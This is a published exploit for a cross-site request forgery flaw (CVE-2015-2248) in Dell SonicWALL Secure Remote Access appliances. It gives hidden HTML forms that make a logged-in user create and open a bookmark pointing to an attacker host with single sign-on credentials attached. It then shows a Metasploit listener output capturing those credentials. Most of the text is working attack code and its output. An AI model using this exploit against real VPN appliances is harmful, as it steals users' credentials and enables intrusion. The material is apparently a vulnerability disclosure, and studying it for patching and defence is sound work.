Dell SonicWALL Secure Remote Access (SRA) Appliance – Cross-Site Request Forgery
# Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery # Date: 04/28/2015 # Exploit Author: Veit Hailperin # Vendor Homepage: www.dell.com # Version: Dell SonicWALL SRA 7.5 prior to 7.5.1.0-38sv and 8.0 prior to 8.0.0.1-16sv # CVE : 2015-2248 Exploitation Procedure (Outline): 1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker. 2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay. 3. Gather the credentials on the target server provided in step #1 1. Create a bookmark: <html> <body> <form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST"> <input type="hidden" name="bmName" value="foo" /> <input type="hidden" name="host" value="www.malicious-host.tld" /> <input type="hidden" name="description" value="bar" /> <input type="hidden" name="tabs" value="Baz" /> <input type="hidden" name="service" value="HTTP" /> <input type="hidden" name="fbaSSOEnabled" value="on" /> <input type="hidden" name="fbaSSOFormUserName" value="user" /> <input type="hidden" name="fbaSSOFormUserPassword" value="password" /> <input type="hidden" name="MC_App" value="inherit" /> <input type="hidden" name="MC_Copy" value="inherit" /> <input type="hidden" name="MC_Print" value="inherit" /> <input type="hidden" name="MC_Offline" value="inherit" /> <input type="hidden" name="name" value="name" /> <input type="hidden" name="type" value="type" /> <input type="hidden" name="owner" value="owner" /> <input type="hidden" name="cmd" value="add" /> <input type="hidden" name="wantBmData" value="true" /> <input type="hidden" name="ok" value="OK" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2. Call the newly created bookmark This might require some guesswork, because we don't know which value bookmarkAccessed needs to have. <html> <body> <form action="https://vulnerable.vpn-installation.tld/cgi-bin/http"> <input type="hidden" name="HOST" value="www.malicious-host.tld" /> <input type="hidden" name="bookmarkAccessed" value="4" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3. Set up a listener E.g. metasploit payload use auxiliary/server/capture/http_basic msf auxiliary(http_basic) > [*] Listening on 0.0.0.0:80... [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://www.malicious-host.tld:80/ [*] Server started. [*] vulnerable.vpn-installation.tld http_basic - Sending 401 to client vulnerable.vpn-installation.tld [+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password" |